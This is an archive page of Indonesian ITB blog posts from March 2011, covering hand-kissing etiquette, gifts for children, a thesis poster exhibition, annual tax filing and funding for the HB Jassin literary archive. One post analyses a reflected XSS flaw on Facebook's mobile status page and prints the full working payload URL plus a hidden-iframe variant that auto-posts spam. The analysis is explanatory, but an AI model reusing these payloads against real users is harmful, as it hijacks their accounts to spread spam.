if99.net

IF99 ITB

Archive for March, 2011

Bila Mahasiswa Cium Tangan Dosennya

without comments

Ada pengalaman menggelikan yang saya alami dalam dua tahun terakhir ini. Kebetulan setiap tahun saya selalu menjadi dosen wali mahasiswa TPB (mahasiswa tingkat 1 di ITB). Saya memegang sekita 20 orang mahasiswa perwalian. Sebagai dosen wali, tentu saja saya menjadi tumpuan tempat bertanya para mahasiswa tingkat I. Maklum mereka masih baru di ITB, masih peralihan dari SMA. Mereka bertanya apa saja, mulai dari cara pemilihan Program Studi, cara belajar, cara mengatur waktu, minta tanda tangan buat beasiswa, dan sebagainya. Kalau tidak bertanya lewat email atas SMS, mereka kadang-kadang suka datang langsung ke kantor untuk bertemu. Nah disinilah pengalaman menariknya. Ketika mereka datang, mereka selalu mencium tangan saya sambil sedikit membungkukkan badan, begitu juga kalau pamitan cium tangan lagi.

Tentu saja saya merasa geli sendiri, karena tidak biasanya mahasiswa mencium tangan dosennya ketika bertemu. Dari dulu hingga dua tahun lalu belum pernah saya dicium tangan oleh mahasiswa. Sebenarnya saya kurang suka diperlakukan begitu, saya ini orangnya egaliter. Ada perasaan risih atau jengah gitu, tetapi mau gimana lagi, tidak enak juga menolaknya. Saya pikir mungkin mereka meneruskan tradisi di sekolah. Kalau saya amati, budaya cium tangan itu merata di sekolah-sekolah mulai dari SD sampai SMA. Siswa selalu mencium tangan guru setiap kali bertemu atau setiap kali habis berbaris akan masuk kelas. Begitu juga kalau pulang, siswa kembali mencium tangan guru. Itu pula yang saya lihat di sekolah anak saya, sebagian guru berbaris di depan gerbang sekolah menyambut muridnya. Murid yang baru datang menghampiri para guru lalu mencium tangan mereka sebelum masuk ke dalam kelas,

Maksud cium tangan itu tentu sebagai wujud penghormatan dan kecintaan murid kepada orang yang digugu dan ditiru (yaitu guru). Bagi kalangan santri di pesantren, mencium tangan kyai tidak hanya sebagai bentuk penghormatan, tetapi juga sebagai cara ngalap berkah. Mereka (para santri) berharap mendapat berkah dari ilmu sang Kyai. Di kalangan kaum nahdliyin kita sering melihat pemandangan seperti ini, para jamaah berebut mencium tangan kyai yang mereka hormati sebagai bentuk kecintaan, penghormatan, dan juga untuk ngalap berkah. Tidak hanya jamaah, tetapi para pejabat atau menteri kalau bertemu tokoh Kyai selalu begitu, mencium tangan sebagai bentuk penghormatan kepada orang yang dituakan dan mumpuni ilmu agamanya.

Dalam Islam sendiri tidak terdapat ajaran cium tangan. Tidak pernah diceritakan dalam Hadis para sahabat mencium tangan Nabi. Cium tangan juga bukan tradisi orang Arab. Orang Arab malah punya budaya saling sun pipi ketika bertemu, tetapi sun pipi hanya untuk sesama sejenis saja. Saya berkesimpulan budaya cium tangan itu adalah khas budaya Jawa (termasuk di tataran Sunda) yang paternalistik. Dalam masyarakat paternalistik kedudukan orang tua sangat penting, mereka dihormati dan ditempatkan pada posisi yang lebih tinggi. Orang (yang lebih) tua tidak boleh dibantah, mereka adalah pengayom orang yang lebih muda. Berbicara kepada orang (yang lebih) tua harus sopan memakai bahasa halus (Jawa kromo). Menentang orang (yang lebih) tua adalah kualat. Orang yang lebih tua itu bisa berupa sultan (raja), bupati, kyai, guru, termasuk orang tua kandung. Pada masa lalu, budaya paternalistik sangat kental di Jawa karena adanya hirarkhi strata masyarakat dari kraton hingga rakyat jelata. Sisa-sisa dari budaya paternalistik itu kita temu hingga sekarang, antara lain tradisi cium tangan itu.

Dalam masyarakat egaliter tidak kita temui tradisi cium tangan itu. Saya yang berasal dari daerah Minangkabau yang masyarakatanya dikenal egaliter (karena tidak pernah hidup dalam tradisi kraton seperti di Jawa) tidak menemukan budaya cium tangan itu di kampung-kampung. Orang muda kalau bertemu orang tua tidak mencium tangan, tetapi cukup salam saja. Hanya sekarang-sekarang saja saya menemukan siswa sekolah di Sumatera Barat mencium tangan gurunya. Begitu juga pasangan muda mulai membiasakan anak-anaknya untuk mencium tangan orangtua kalau mau pamit, datang, atau bertemu dengan teman si orangtua. Istilah cium tangan dari anak ke orangtua disebut salim. Barangkali fenomena ini sebagai pengaruh dari tayangan di media televisi dimana, baik dari sinetron maupun berita-berita yang menampilkan anak mencium tangan orang tua, murid mencium tangan guru, atau santri dan jamaah mencium tangan ustad/kyai.

Meskipun cium tangan itu warisan budaya paternalistik, tetapi sebenarnya itu budaya yang baik asakan tidak terlalu berlebihan, misalnya sebagai bentuk penghambaan atau menyembah. Murid memang perlu menghormati gurunya, anak wajib menghormati orangtuanya, salah satu cara yang ditradisikan adalah dengan mencium tangan sebagai bentuk bakti dan cinta. Saya juga mentradisikan budaya salim ini di rumah, dimana anak selalu cium tangan orangtuanya kalau mau sekolah, pergi, dan pulang ke rumah.

Maka, jika mahasiswa mencium tangan dosennya saya kira agak berlebihan dan tidak perlu. Kehidupan di kampus adalah kehidupan yang egaliter. Tidak ada gap antara dosen dan mahasiswa, mahasiswa bisa duduk sama tinggi dan sama rendah dengan dosennya. Tidak ada gap antara profesor dengan dosen yang belum profesor, tidak ada jarak antara rektor dengan dosen, karena rektor itu kan dosen juga. Begitu juga tidak ada jarak antara Dekan dengan dosen di fakultas, dan sebagainya. Dosen dan mahasiswa adalah sejajar sebab mereka makhluk akademis. Jadi, anda tidak akan menemukan di ITB dosen muda mencium tangan rektor, dosen biasa mencium tangan profesor atau mahasiswa tingkat empat mencium tangan dosen pembimbing TA. Bersalaman saja sudah cukup, atau sekedar menganggukkan kepala kalau bertemu di jalan sembari tersenyum atau menyapa dengan ucapan Pak, Bu, dan sebagainya.

Yang membuat saya tersenyum simpul adalah pengalaman ketika bertemu kembali dengan mahasiswa yang dulu di bawah perwalian saya ketika TPB. Sekarang mereka sudah tingkat dua, atau tingkat tiga, atau tingkat akhir. Jika mereka menemui saya atau bertemu di jalan, mereka tidak pernah cium tangan lagi. Ha..ha..ha. Mungkin malu, atau mungkin sudah merasakan egaliterian kehidupan di kampus. Namun saya kira memang seharusnya begitu, tidak perlu berlebihan menghormati kami.


Written by rinaldimunir

March 31st, 2011 at 9:43 am

Posted in Pendidikan

Oleh-Oleh dan Bayangan Wajah Berseri

without comments

Setiap kali pulang dari kantor dan sampai di depan rumah, anak saya langsung berlari menyongsong menyambut saya seraya bertanya: “Ayah bawa makanan?”. Ah, rasa lelah langsung hilang begitu saja setiap kali disambut anak dengan senyuman dan teriakan riang. Betul kata ibu saya dulu, suatu saat ketika anak saya sudah bisa berlari, dia akan langsung keluar menyambut ayahnya pulang begitu suara motor saya memasuki halaman rumah. Anak kecil dimana-mana pasti gembira ketika ayahnya pulang kerja pada sore hari. Memang anak itu adalah permata hati yang tidak ternilai harganya. Alhamdulillah Allah SWT memberi saya amanah tiga orang anak.

Kembali ke cerita di atas. Setiap pulang ke rumah anak saya selalu bertanya apakah saya membawa makanan. Yang dia maksud dengan makanan adalah camilan ringan kesukaan anak-anak. Oleh karena itu, sebelum sampai ke rumah, saya biasanya mampir dulu ke minimarket untuk membeli buah tangan yang ditunggu anak saya. Setiap hari selalu begitu. Bila saya pulang dengan tangan hampa, mereka menunjukkan wajah kecewa.

Membeli oleh-oleh guna dibawa pulang sudah menjadi kebiasaan saya sejak dulu. Kemanapun saya pergi, pasti selalu terpikir membawa buah tangan untuk orang di rumah. Setiap kali saya pergi ke luar kota, maka saya selalu mencari oleh-oleh apa yang akan dibawa pulang. Kalau tidak makanan, ya pakaian atau mainan buat anak. Terkadang ketika sudah chek-in di Bandara saya suka keliling dulu melihat-lihat toko di dalam Bandara, barangkali ada kaos buat anak atau seuatu yang unik buat dibawa pulang. Begitu juga kalau ke luar negeri, saya suka jalan ke pasar membeli sesuatu buat orang di rumah. Memilih-milih barang, tawar menawar jika bisa ditawar, lalu menghitung-hitung harganya dalam rupiah. Wajah-wajah orang di rumah selalu terbayang, mereka pasti menunggu saya. Biasanya buat tetangga saya juga tidak lupa membagikan oleh-oleh makanan. Bila orang lain merasa repot atau ribet kalau membawa barang-barang buat oleh-oleh, maka saya sebaliknya, selalu merasa senang meskipun barang bawaan menjadi bertambah. Tidak perlu merasa repot, toh yang membawa barang-barang itu pesawat atau mobil.

Saya juga punya kebiasaan setelah shalat Jumat di Masjid Salman, biasanya saya tidak langsung ke kantor, tetapi singgah dulu melihat-lihat barang dagangan pedagang kaki lima di pasar kaget yang tercipta di Jalan Ganesha setiap hari Jumat. Saya suka lihat-lihat barang mainan anak-anak yang dijual pedagang di situ, siapa tahu ada yang bisa dibeli buat anak. Kadang-kadang juga ada buku cerita atau buku bergambar yang harganya sepuluh ribu tiga. Those are for my sons at home, from daddy.

Bila saya ingat-ingat, kebiasaan membawa oleh-oleh itu sudah saya lakukan sejak masih kuliah di Bandung. Meskipun masih mahasiswa dan mengandalkan kiriman uang dari orangtua, selalu saja saya sempatkan membeli oleh-oleh untuk dibawa ke Padang. Biasanya yang saya beli adalah makanan yang jarang ada di Padang (kala itu). Begitu sampai di rumah, saya sudah tidak sabar membongkar barang bawaan dan membagikan oleh-oleh dari Bandung. Tidak perlu istirahat dulu menghilangkan capek, langsung saja dibagi dan dimakan orang serumah.

Saya pikir, itulah cara membuat orang-orang di rumah tersenyum bahagia menerima oleh-oleh dari saya. Sama seperti anak saya di rumah, sebelum sampai ke rumah saya sudah membayangkan wajah anak di rumah tentu gembira menerima buah tangan yang saya bawa. Apalagi bila buah tangan itu adalah barang yang ia idam-idamkan selama ini.

Sore nanti saya akan singgah lagi di minimarket membeli makanan kesukaan anak-anak. Setiap membuka pintu, anak saya, terutama yang bungsu pasti akan bertanya: Ayah bawa makanan?


Written by rinaldimunir

March 30th, 2011 at 9:09 am

Posted in Gado-gado

Memahami Teknik Penyebaran Status Berantai di Facebook

without comments

Hari ini saya menyadari ada yang tidak beres dengan status teman-teman facebook saya. Banyak yang mendadak statusnya berisi promosi suatu link bahkan hingga berkali-kali. Apa gerangan yang terjadi? Dalam artikel ini saya akan membedah teknik penyebaran status berantai tersebut.


Analisa

Mari kita mulai analisa kita dengan mengambil sample satu URL jebakan, yaitu tinyurl.com/sampahh. Ini adalah url versi pendek yang bila diklik akan melakukan redirect ke url aslinya, yaitu:

http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D http://tinyurl.com/sampahh';document.forms[0].submit();}</script>

URL tersebut akan saya pecah menjadi 3 bagian:

  • http://m.facebook.com/connect/prompt_feed.php
  • ?display=wap&user_message_prompt=
  • '<script>window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D http://tinyurl.com/sampahh';document.forms[0].submit();}</script>

Bagian pertama adalah URL untuk update status. Bagian kedua adalah query string parameter yang terdiri dari dua parameter, yaitu display dan user_message_prompt. Bagian ketiga adalah isi dari parameter user_message_prompt yang merupakan payload javascript untuk mengubah status secara otomatis.

The Prompt

Sebelum masuk lebih jauh membahas payloadnya, mari kita lihat dulu bentuk tampilan dari URL untuk mengubah status ini. Gambar ini adalah screenshot ketika browser membuka URL:

http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt=Masukkan Status

Dari gambar di atas kini kita memahami fungsi dari parameter user_message_prompt, yaitu sebagai judul pertanyaan/prompt. Agar user mengerti apa yang harus diinputkan, dalam setiap prompt harus diberi judul yang jelas, contohnya: “Input your PIN”, “Enter your Name”, “Password:” dan sebagainya. Silakan anda mencoba bermain-main dengan mengubah-ubah nilai user_message_prompt sesuka anda di address bar dan perhatikan apa yang terjadi.

Reflected Cross Site Scripting

Normalnya user_message_prompt diisi dengan murni teks saja berupa instruksi/petunjuk apa yang harus diinputkan user. Bila parameter user_message_prompt berisi teks murni saja, maka tidak ada yang perlu dikhawatirkan, namun bagaimana bila parameter tersebut diisi dengan kode HTML atau javascript?

Perhatikan apa yang terjadi bila user_message_prompt diisi dengan kode HTML:

<font color=red><h1>Hello!!</h1></font>

Perhatikan juga apa yang terjadi bila user_message_prompt diisi dengan kode HTML:

<img src="http://1.bp.blogspot.com/_D2J2A4A68T8/TH80zGbHcYI/AAAAAAAAAIw/RXaLXYldrWw/s320/Hacked.jpg"/>

Bagaimana bila user_message_prompt tidak hanya diisi dengan kode HTML, tapi diisi dengan kode javascript? Mari kita coba memasukkan javascript sederhana berikut ini:

<script>prompt("Enter your PIN");</script>

Kita sudah melihat bagaimana user_message_prompt tidak hanya bisa diisi dengan normal teks, namun juga bisa diisi dengan kode HTML dan javascript yang dieksekusi browser. Ini adalah vulnerability yang disebut dengan XSS (Cross Site Scripting), lebih tepatnya reflected-XSS (karena kode yang diinjeksikan dalam URL “dipantulkan” kembali sebagai response HTTP).

The Payload

Dalam contoh sebelumnya kita mencoba memasukkan javascript sederhana yang hanya menampilkan prompt input kepada user. Sebenarnya javascript bisa dipakai untuk melakukan hampir apa saja mulai dari yang sekedar iseng seperti mengubah status, sampai yang serius seperti seperti mencuri cookie korban atau take-over komputer korban dengan mengeksploitasi kelemahan pada browsernya. Hal-hal inilah yang disebut dengan payload. Attacker bebas memasukkan payload apa saja yang dia inginkan seperti mengubah status, mencuri cookie dsb.

Perhatikan kembali isi parameter user_message_prompt yang didapat dari tinyurl.com/sampahh:

user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D http://tinyurl.com/sampahh';document.forms[0].submit();}</script>

Bagi pembaca yang jeli tentu merasa aneh, kenapa ada karakter single-quote (‘) sebelum tag script? Perlukah karakter single-quote ini? Jawabannya adalah tidak perlu sama sekali. Saya melihat semua yang membuat url sejenis ini dalam payloadnya selalu ada karakter single-quote di depan tag script. Mungkin pembuatnya hanya ikut-ikutan saja tanpa benar-benar mengerti apa yang terjadi, karena dia mencontoh orang lain memakai single-quote, maka diapun ikut memakai single-quote.

Payload untuk mengubah status sebenarnya sangat sederhana. Berikut ini adalah payload untuk mengubah status di facebook secara otomatis:

Onload adalah event yang terjadi bila suatu halaman web selesai di-load. Baris pertama pada kode di atas artinya meminta browser untuk mengeksekusi sebuah fungsi secara otomatis ketika halaman ini selesai diload. Fungsi yang dimaksud terdiri dari dua baris kode sederhana untuk mengubah nilai textarea message dan melakukan submit form.

Baris kedua dimaksudkan untuk mengubah nilai dari textarea bernama message seperti gambar di bawah ini.

Langkah terakhir adalah memanggil fungsi submit() untuk melakukan submit form. Jadi sangat sederhana cara untuk mengubah status secara otomatis, cukup dua langkah saja, mengisi message dengan isi status, lalu submit, status pun selesai diubah.

Varian Lain dengan IFRAME

Saya juga menemukan varian lain yang memakai iframe. Varian ini lebih berbahaya karena bisa disisipkan dalam web apapun dan bisa dengan mudah melakukan pengubahan status berulang kali. Salah satu teman facebook saya menjadi korban freesmsvoip.com sampai berkali-kali.

Kenapa bisa kena sampai berkali-kali? Mari kita lihat potongan awal source html dari www.freesmsvoip.com.

<iframe id="CrazyDaVinci" style="display:none;" src="http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='Kirim SMS Gratis Ke Semua Operator di www.freesmsvoip.com Wow.. cool guys! coba gihhh!!!';document.forms[0].submit();}</script>"></iframe>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>SMS Gratis Semua Operator - Kirim SMS Gratis Via Internet - SMS Gratis Online - Widget SMS Gratis</title>
<meta name="description" content="Kirim SMS gratis ke semua operator GSM, CDMA se-Indonesia tanpa bayar lewat internet" />

Perhatikan pada baris pertama ada tag iframe dengan src yang juga mengeksploitasi XSS vulnerability pada m.facebook.com/connect/prompt_feed.php. Tag iframe ini tidak hanya ada pada halaman depan saja, namun pada setiap halaman di web tersebut. Akibatnya bila pengunjung hanya melihat halaman depan saja, dia hanya kena satu kali, bila dia juga berkunjung ke halaman-halaman lain, maka dia akan melakukan update status berkali-kali.

Berbeda dengan kasus yang memakai jasa pemendek url seperti tinyurl.com, serangan memakai iframe bisa dilekatkan pada halaman web yang tampak normal, baik hati dan tidak sombong. Dengan maraknya kasus eksploitasi XSS dengan url-shortener, orang akan semakin curiga bila menerima link yang dipendekkan karena user tidak tahu url itu akan dibelokkan ke mana. Menerima url yang dipendekkan kini mirip dengan menerima paket yang tidak jelas apa isinya, buku atau bom. Namun berbeda kasusnya dengan url yang panjang, orang cenderung tidak curiga bila menerima url panjang, apalagi domainnya tampak seperti situs baik-baik.

Written by Rizki Wicaksono

March 30th, 2011 at 1:59 am

Posted in Web Security

Pameran Poster Tugas Akhir dan Thesis Mahasiswa

without comments

Di Program Studi Teknik Informatika ITB sekarang ada iven baru. Menjelang wisuda bulan April nanti, dipamerkan poster Tugas Akhir dan Thesis mahasiswa S1 dan S2 Informatika ITB. Mahasiswa yang akan diwisuda diwajibkan membuat satu lembar poster yang mendeskripsikan tugas akhir/thesisnya. Poster lux seukuran karton tersebut dipamerkan pada papan-papan di dinding lorong lantai 2.

Setiap orang yang lewat lorong ini pasti tergoda melihat dan membaca poster, minimal ingin tahu poster apa itu, siapa yang membuat, dan apa isinya.

Hmmm… tidak mudah lho membuat poster ini. Bagaimana meringkas isi laporan TA/Thesis yang tebal itu hanya dalam satu lembar karton? Bagaimana memvisualisasikan substansi tugas akhir tersebut dalam beberapa gambar, karena sebuah gambar dapat berbicara lebih dari seribu kata. Satu lembar poster harus dapat menceritakan deskripsi singkat TA/thesis dari A sampai Z, sehingga orang yang membacanya dapat memahami apa yang dikerjakan maahsiswa tersebut.

Satu lembar poster mencakup logo ITB, judul TA/thesis, nama dan NIM mahasiswa serta dosen pembimbing, deskripsi singkat TA (latar belakang, tujuan, metodologi, dll), hasil penelitian (berupa screenshot aplikasi, evaluasi, publikasi, dll). dan kesimpulan TA/thesis. Mahasiswa cukup menyerahkan desain posternya, proses pencetakan dan biayanya ditanggung oleh program Studi.

Menariknya, poster ini dilombakan sehingga bagi mahasiswa yang terpilih membuat poster terbaik akan mendapat hadiah. Poster terbaik dinilai berdasarkan kelengkapan isi dan estetika poster.

Update: Inilah tiga pemenang poster yang dipilih oleh juri (file dikirim oleh Bu Ulfa. Terima kasih).
1. Aswin Juari (mahasiswa S2)

2. Marselina Tando (mahasiswa S1)

3. Anwari Ilman (mahasiswa S1)

Melalui pameran poster ini kita ingin mengapresiasi karya mahasiswa. Selama ini laporan TA dan thesis menumpuk di perpustakaan, paling-paling hanya dibaca mahasiswa adik kelas yang akan mencari referensi TA. Sebelum menjadi tumpukan, dipamerkan dululah karya mereka kepada khalayak, minimal memotivasi mahasiswa lain untuk membuat karya tugas akhir/thesis yang bagus.


Written by rinaldimunir

March 28th, 2011 at 2:29 pm

Beres SPT Tahunan

without comments

Alhamdulillah, rutinitas setiap tahun, yaitu mengisi SPT Tahunan akhirnya berhasil saya selesaikan dan sudah diposkan. Bisa selesai sebelum batas waktu 31 Maret. Bagi sebagian orang, mengisi SPT ini menjadi momok, oleh karena itu mereka terpaksa menyewa konsultan pajak untuk menghitung pajak dan mengisi SPT. Mungkin bulan Maret ini adalah bulan panen para konsultan pajak, sebab jasa mereka laris manis digunakan oleh perusahaan dan orang pribadi. Saya sih tidak butuh konsultan tersebut, lha bisa menghitung dan mengisi sendiri kok.

Saya sudah 3 tahun mengisi SPT ini, sebab punya kartu NPWP juga baru 3 tahun yang lalu. Mengisi SPT ini mudah-mudah sulit juga, apalagi bagi kami dosen ITB. Di ITB dosen mempunyai dua jenis penghasilan. Yang pertama adalah gaji PNS yang bersumber dari dana APBN, dan kedua adalah honor-honor yang bersumber dari ITB sendiri. Honor dari ITB itu macam-macam, misalnya insentif keprofesian, honor menjabat sebagai Dekan/Kaprodi/KaLab dsb, honor kelebihan beban mengajar, honor sidang, honor satgas, dan macam-macam (banyak deh). Honorarium tambahan dari ITB itu jelas sangat membantu, terutama bagi dosen yang tidak punya penghasilan tambahan semisal proyek, royalti, dsb. Kalau hanya mengandalkan gaji PNS, mungkin mereka sangat kewalahan berpacu dengan kebutuhan hidup yang terus melambung.

Setiap gaji maupun honor sudah terkena pajak PPh Pasal 21. ITB sudah memotong pajak dari setiap pendapatan tersebut. Jadi, uang yang kita terima sudah bersih dipotong pajak dan pengurangan lain-lain seperti biaya pensiun dan biaya jabatan. Pajak-pajak tersebut sudah disetorkan ke kas negara, jadi kita sebagai dosen tidak perlu repot lagi membayar pajak.

Karena ada dua jenis penghasilan, maka ada dua halaman lampiran penghasilan yang kita terima, masing-masing formulir 1721 – A1 dan formulir 1721 – A2. Penghasilan selama 1 tahun sudah tercatat di dalam masing-masing lampiran beserta total pajak yang sudah dipotong. Sebelum dipotong pajak, totak penghasilan kotor dikurangi dengan penghasilan yang tidak terkena pajak (yang untuk saya dengan 3 anak sebesar Rp 19.800.000). Sisanya itulah yang terkena PPh Pasal 21. Kedua jenis penghasilan netto dari kedua formulir ini dijumlahkan, lalu dikurangi lagi dengan besar penghasilan tidak terkena pajak (wah, tiga kali dikurangi nih), hasilnya dimasukkan ke dalam formulir 1770 S.

Alhamdulillah setiap tahun saya selalu rajin membayar zakat mal ke lembaga amil zakat. Membayar zakat berbeda dengan membayar pajak. Membayar zakat bertujuan untuk membersihkan harta kita dari yang tidak haq, mungkin saja dalam memproleh harta itu ada hak orang lain yang ikut terambi, sedangkan membayar pajak adalah kewajiban sebagai warganegara untuk membantu pembangunan negara (cieee…). Alhamdulillahnya lagi, ternyata bukti setoran zakat itu dapat digunakan sebagai pengurang pajak. Jadi, jumlah penghasilan netto dari kedua lampiran tadi saya kurangi lebih dahulu dengan zakat sebelum akhirnya dikurangi dengan 19.800.000.

Hasil pengurangan final di atas kemudian dikenai pajak progresif. Untuk 50 juta pertama dikenai pajak 5%, kemudian 50 juta berikutnya sampai 250 juta dikenai pajak 15%, dan di atas 250 juta dikenai pajak 25%. Itulah total pajak yang harus kita bayar (ribet juga ya perhitungannya). Total pajak ini dikurangi dengan pajak PPh Pasal 21 yang sudah dipotong oleh ITB, maka selisihnya adalah kekurangan yang harus kita bayar sendiri.

Bagi sebagian kolaga saya di ITB, mereka cukup shock juga ketika mengetahui kekurangan pajak yang harus dibayar sendiri bisa sampai di atas 10 juta. Mereka terkena pajak yang lebih besar karena mungkin mendapat banyak grant riset, uang jabatan, uang hibah, dan sebagainya, maka wajar saja pajak penghasilan mereka lebih besar daripada saya (dan konsekuensinya pajaknya juga lebih besar). Mereka shock karena mengeluarkan uang 10 juta lebih itu tentu terasa berat sekali saat ini, padahal uang yang sudah dinikmati selama ini sudah habis untuk kebutuhan keluarga. Karena itu, ada kolega saya yang terpaksa berhutang untuk membayar kekurangan pajak tersebut. Yang moderat adalah membayar kekurangan pajak antara 3 hingga 5 juta rupiah. Tahun lalu saya membayar kekurangan pajak sampai dua setengah juta rupiah, tahun ini di bawah dua juta karena penghasilan yang saya terima tahun ini dari ITB juga berkurang.

Membayar pajak adalah bukti sebagai warganegara yang baik. Yang tidak rela adalah jika pajak itu dikorupsi oleh “tikus-tikus” di Direktorat Pajak. Kasus Gayus Tambunan sudah cukup membuat orang tersadar jika selama ini korupsi di kantor pajak sudah sangat parah. Karena itu cukup beralasan juga jika banyak orang yang enggan membayar pajak atau mengisi SPT Tahunan, khawatir pajak mereka dimakan oleh orang semacam Gayus. Memang Gayus Tambuan sudah dipenjara, tetapi kawan-kawannya mungkin masih ada “berkeliaran” di kantor pajak. Membuat citra kantor pajak bersih memang perlu waktu lama.


Written by rinaldimunir

March 24th, 2011 at 4:22 pm

Posted in Indonesiaku

Kisah Tragis Pusat Dokumen Sastra HB Jassin

without comments

Saya sudah mendaftar, ini adalah salah satu tempat yang insyaAllah akan dikunjungi bersama anak-anak, sebagai bagian rekreasi pendidikan untuk mereka. Semoga saja pada saatnya nanti PDS HB Jassin masih hidup dan berfungsi, sehingga saya tidak akan kehilangan salah satu sumber dokumen2 fiksi dan non fiksi yang penting ini.

http://oase.kompas.com/read/2011/03/20/13083794/Kisah.Tragis.PDS.HB.Jassin

Kisah Tragis PDS HB Jassin

Editor: Jodhi Yudono
Minggu, 20 Maret 2011 | 13:08 WIB

JAKARTA, KOMPAS.com — Gonjang-ganjing mengenai Pusat Dokumentasi Sastra HB Jassin terus menggelinding. Surat Keputusan Gubernur DKI Jakarta yang menetapkan pusat dokumentasi sastra Indonesia terbesar di seluruh dunia hanya mendapat anggaran Rp 50 juta per tahun telah menuai kegeraman di kalangan sastrawan dan ilmuwan yang peduli dengan warisan literasi yang tak ternilai harganya itu.

Lantaran SK Gubernur DKI Jakarta itulah, Pusat Dokumentasi Sastra HB Jassin (PDS HB Jassin) bisa terancam tutup. Mafhumlah, dengan anggaran cuma Rp 50 juta per tahun, itu artinya tak mencukupi untuk membayar pegawai dan perawatan secara memadai.

Dalam tulisannya di Kompasiana, penulis dan pemerhati sastra Linda Djalil menulis, “Uang memang bukan segalanya. Namun, bila upaya penyelamatan mahakarya Sastra Indonesia yang puluhan ribu jenis itu tidak memperoleh sokongan keuangan yang pantas, tentu ini membuat hati perih. Dan bangsa ini terasa diremehkan. SK (Surat Keputusan) Gubernur DKI Jakarta No. SK IV 215 tertanggal 16 Februari 2011, yang ditandatangani langsung oleh Fauzi Bowo menyatakan jelas-jelas bahwa PDS HB Jassin hanya memperoleh anggaran Rp 50 juta setahun.”

Siapa yang tak terhenyak membaca surat itu? Apalagi, pendanaan untuk PDS HB Jassin yang biasanya masuk dalam kelompok dana untuk Dewan Kesenian Jakarta, Gedung Kesenian Jakarta, Institut Kesenian Jakarta, dan Badan Pengelola Pusat Kesenian Jakarta Taman Ismai Marzuki ini kini masuk dalam “bangsa” Teater Tanah Air maupun Sanggar Roda. Bayangkan, tempat yang berisi puluhan ribu mahakarya Sastra Indonesia ini digolongkan dalam kategori sanggar, yang hanya layak memperoleh Rp 50 juta saja per tahun.

Tahun-tahun sebelumnya, PDS HB Jassin sempat memperoleh Rp 500 juta tiap tahun. Kemudian, dana turun menjadi Rp 300 juta. Tahun lalu, pengelola gudangnya ilmu para seniman, sastrawan, dan peneliti dalam dan luar negeri ini sudah ngos-ngosan menerima dana yang disunat menjadi Rp 164 juta. Kini, lebih terkapar lagi… Sekali lagi, Rp 50 juta yang diterima perpustakaan ini!

Jelas sudah betapa Pemerintah Indonesia, khususnya Pemda DKI, yang notabene memang adalah payung dan menjadi naungan bagi PDS HB Jassin sejak 1976 ini, kini bagai “mendadak lupa” terhadap kewajibannya untuk turut memelihara warisan dan kebudayaan nasional yang amat tak ternilai ini. Lagi-lagi, membaca angka Rp 50 juta untuk pembiayaan 12 bulan membuat orang sah-sah saja menganggap pelecehan terhadap karya bangsa sedang berlangsung dan bisa saja akan terus berulang-ulang berlangsung. Saya juga penasaran, dari mana perhitungan angka sebesar itu bagi perpustakaan raksasa ini?

Apakah pihak Pemda DKI selama ini pura-pura tidak tahu bahwa untuk biaya pengasapan buku saja sudah habis Rp 40 juta sendiri dan pemeliharaan dengan pengasapan idealnya dilakukan dua kali setahun agar buku tidak mudah hancur dan dimakan ngengat? Belum lagi penggajian 14 pegawai yang sudah sebegitu setia berada di tempat itu dengan gaji yang sangat minim. Mereka tetap memiliki kecintaan yang berlebih terhadap tempat itu.

Tak dapat saya bayangkan betapa banyaknya guliran air mata Doctor Honoris Causa  HB Jassin, Paus Sastra Indonesia, yang begitu besar jasanya bagi kesusastraan Indonesia, apabila ia masih hidup. Sebagai seorang pengarang ternama, ia juga amat teliti dan tekun mengumpulkan ribuan dokumentasi sastra sejak tahun 1932.

Berbagai tulisan tangan para pengarang saat mulai menuliskan naskahnya, biografi, maupun coretan koreksian, dan surat-menyurat para penulis karya sastra juga melengkapi karya itu sendiri sebagai barang yang sudah menjadi sebuah buku. Klipingan koran masa lalu dari zaman sebelum Perang Dunia II sampai setelah Indonesia merdeka, plus dokumentasi penting setelah Orde Baru 1966, seluruhnya semula tersebar di Gang Siwalan Nomor 3 dan rumahnya di Gang Kecapi Nomor 8, rumah saudaranya.

Selebihnya ia titipkan di Pusat Pembinaan dan Pengembangan Bahasa, Jalan Diponegoro 82. Jerih payah HB Jassin tak sia-sia. Dengan akta notaris tertanggal 28 Juni 1976, resmilah Yayasan Dokumentasi HB Jassin yang terletak di kawasan Taman Ismail Marzuki tercipta. Ribuan koleksi naskah itu menjadi milik Pemda DKI Jakarta dan Yayasan Dokumentasi Sastra HB Jassin. Siapa lagi kalau bukan Gubernur Ali Sadikin, gubernur saat itu, yang memberikan dorongan penuh untuk tujuan mulia ini.

Selain ribuan buku, naskah drama, potongan surat kabar yang memuat banyak karya sastra para pengarang koleksi HB Jassin, akhirnya berbagai kaum intelektual Indonesia yang lain pun ikut tergugah. Ramai-ramailah mereka menyumbangkan buku untuk menambah koleksi perpustakaan Sastra Indonesia ini. Buku-buku koleksi profesor Dr Damais beberapa rak, koleksi Haji Agus Salim, koleksi Mochtar Lubis yang terdiri dari surat kabar Indonesia Raya yang sudah dijilid dari tahun 1968 sampai 1974, koleksi Wiratmo Soekito dalam bentuk naskah kliping koran dan majalah, koleksi Dr Boen Soemarjati, putri profesor Slamet Imam Santoso, sebanyak enam lemari besi.

